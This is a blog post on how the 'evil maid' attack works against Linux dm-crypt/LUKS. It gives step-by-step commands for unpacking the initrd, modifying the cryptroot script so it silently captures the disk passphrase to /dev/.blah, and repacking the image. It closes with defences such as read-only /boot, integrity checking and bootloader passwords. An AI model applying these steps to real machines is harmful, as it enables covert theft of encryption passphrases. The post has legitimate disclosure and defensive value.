implementing the evil maid attack on linux with Luks
This month, Joanna Rutkowska implemented the “evil maid” attack against TrueCrypt.
This kind of attack can be done on any OS with disk encryption: when using whole-disk encryption, you have to infect to bootloader. Linux includes dm-crypt/LUKS, which has some nice features (including TKS1 and working encrypted suspend-to-disk). But how does it play with this attack ?
Sadly, the answer is: pretty bad. LUKS has no protection against this attack, and even requires a /boot partition in clear. Before looking at the possible solutions, we’ll play with the /boot partition to see how simple the attack is.
Linux boot sequence basics
The boot sequence (See http://www.ibm.com/developerworks/library/l-linuxboot/index.html) is the following:
- System startup: the BIOS is loaded, searches for a boot medium, loads the MBR, and yields control to it.
- Boot loader stage 1: the job of the primary boot loader is to find and load the secondary boot loader (stage 2)
- Boot loader stage 2: its jobs is to search and load the Linux kernel and initial RAM disk (initrd) images.
- Linux kernel: it starts by uncompressing itself, then mounts the initrd image. This image contains modules and scripts required to find the root filesystem. After the root fs is found, the kernel switches its / partition (using the pivot_root method) and lets init continue.
- Init: the first task executed.
Hacking the ramdisk (for fun and profit)
While dm-crypt is embedded in the Linux kernel, no solution is offered for Pre-Boot authentication. This means that the Linux and initrd images are stored on a clear partition. The job is then only to edit the initrd image, find a way to capture the passphrase when typed, and store it for later use.
Editing the initrd image
The initrd image is stored in /boot, and is a compressed cpio image:
mkdir tmp cd tmp gunzip < ../initrd.img-2.6.30-2-686 | cpio -i
Early crypto and root partition
(This part was tested on a Debian sid)The initrd image contains a hierarchy of directories:
$ ls bin conf etc init lib sbin scripts
The interesting file is scripts/local-top/cryptroot. This script searches for the partition to decrypt, uses a secure program to ask the passphrase (aha) in a secure memory location, and calls cryptsetup to decrypt the device. The relevant section is:
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then message "cryptsetup: cryptsetup failed, bad password or options?" continue fi
Here are the steps to do:
- display the usual message, to avoid alerting the user:
message -n "$cryptkey"
- read the answer, without echo:
read -s BLAH
- save it for later use. This is a bit more “difficult”, since you don’t have access to the filesystem at this point, and the root fs is switched anyway after. However, it seems that the /dev partition (especially when using udev) it not remounted … let’s use it:
echo $BLAH >> /dev/.blah
- decrypt the partition as usual. We just have to adapt the decryption line:
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ echo -n "$BLAH" | $cryptcreate --key-file=- ; then
- finally, re-create the initrd image:
find ./ | cpio -H newc -o > initrd.cpio gzip initrd.cpio mv initrd.cpio.gz ../initrd.img-2.6.30-2-686
After a reboot, the boot sequence looks the same as usual and everything goes fine. Maybe except:
# cat /dev/.blahsecret
See how trivial this was ? The next step could be to get the infection process automatic, or to broadcast the passphrase in mDNS broadcasts or whatever :)
The real protection is Trusted Platform Module (TPM). It’s goal is to have a trusted path for the entire boot sequence (from power on, bios etc. to running OS), However, it raises concerns about its potential uses.
To protect against these attacks, the most basic protections can be pretty efficient (assuming you don’t need a military-grade protection):
- Set a password on your Bios, to avoid booting on USB, for ex.
- Ensure the box can’t be opened
- Set (another) password on the bootloader, so people won’t add init=/bin/bash
- When encrypting your disks, don’t forget the swap !
- Always mount /boot as read-only, run a checksumming program like aide to detect modifications.
- Don’t forget the basics: set up good passwords, change them regularly, store them with a correct hash 1, always lock your screen, etc.
These suggestions won’t cost you additional hardware, are pretty easy to do, and will at least raise your security by slowing down intrusions (which now requires to find a way to boot), and detect them easily (changed file, computer rebooted unexpectedly or opened etc.). And anyway, if someone has (physical) access to your computer for a good period of time, it’s over ;)
Have fun !
To make PAM use sha512 instead of MD5, just add sha512 to the line containing
/etc/pam.d/common-passwordor the equivalent for your distro ↩